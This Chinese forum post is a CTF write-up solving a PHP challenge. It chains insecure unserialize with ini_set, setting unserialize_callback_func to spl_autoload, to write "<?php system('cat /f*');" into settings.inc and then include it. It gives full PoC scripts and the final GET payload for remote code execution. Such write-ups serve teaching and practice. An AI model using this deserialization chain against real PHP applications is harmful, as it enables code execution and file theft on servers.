CTF-16解题思路

Track-子羽   ·   发表于 2021-11-17 14:47:34   ·   CTF&WP专版

源码分析:

  1. <?php
  2. highlight_file(__FILE__);
  3. class main{
  4. public $settings;
  5. public $params;
  6. public function __construct(){
  7. $this->settings=array(
  8. 'display_errors'=>'On',
  9. 'allow_url_fopen'=>'On'
  10. );
  11. $this->params=array();
  12. }
  13. public function __wakeup(){
  14. foreach ($this->settings as $key => $value) {
  15. ini_set($key, $value);
  16. }
  17. }
  18. public function __destruct(){
  19. file_put_contents('settings.inc', unserialize($this->params));
  20. }
  21. }
  22. unserialize($_GET['data']);

分析代码可得知,settings可设定配置选项的值,params是在类销毁时,在settings.inc文件中写入的值。

通过ini_set设定配置选项,此处可利用unserialize_callback_func——如果函数名是一个不存在的类,则会以unserialize()的形式来调用该回调函数,函数名是类名。这里利用spl_autoload:

通过PHP手册了解到,该函数的第二个参数如果为默认值,则使用.inc或.php作为扩展名。

该题正好会将unserialize($this->params)的值写入settings.inc中,符合函数要求。

因此构造POC:

  1. <?php
  2. class settings{
  3. }
  4. class main{
  5. public $settings;
  6. public $params;
  7. public function __construct(){
  8. $this->settings=array(
  9. 'unserialize_callback_func'=>'spl_autoload',
  10. );
  11. $this->params=serialize("<?php system('cat /f*');");
  12. }
  13. }
  14. $a = new main();
  15. echo serialize($a);

运行后得到:

  1. O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:32:"s:24:"<?php system('cat /f*');";";}

其写入settings.inc后,构造:

  1. <?php
  2. class settings{
  3. }
  4. class main{
  5. public $settings;
  6. public $params;
  7. public function __construct(){
  8. $this->settings=array(
  9. 'unserialize_callback_func'=>'spl_autoload',
  10. );
  11. $this->params=serialize(new settings());
  12. }
  13. }
  14. $a = new main();
  15. echo serialize($a);

运行后得到

payload:

  1. ?data=O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:19:"O:8:"settings":0:{}";}

因为该类并不存在,所以会包含settings.inc中的内容,得到flag。

打赏我,让我更有动力~

0 条回复   |  直到 2021-11-17 | 695 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.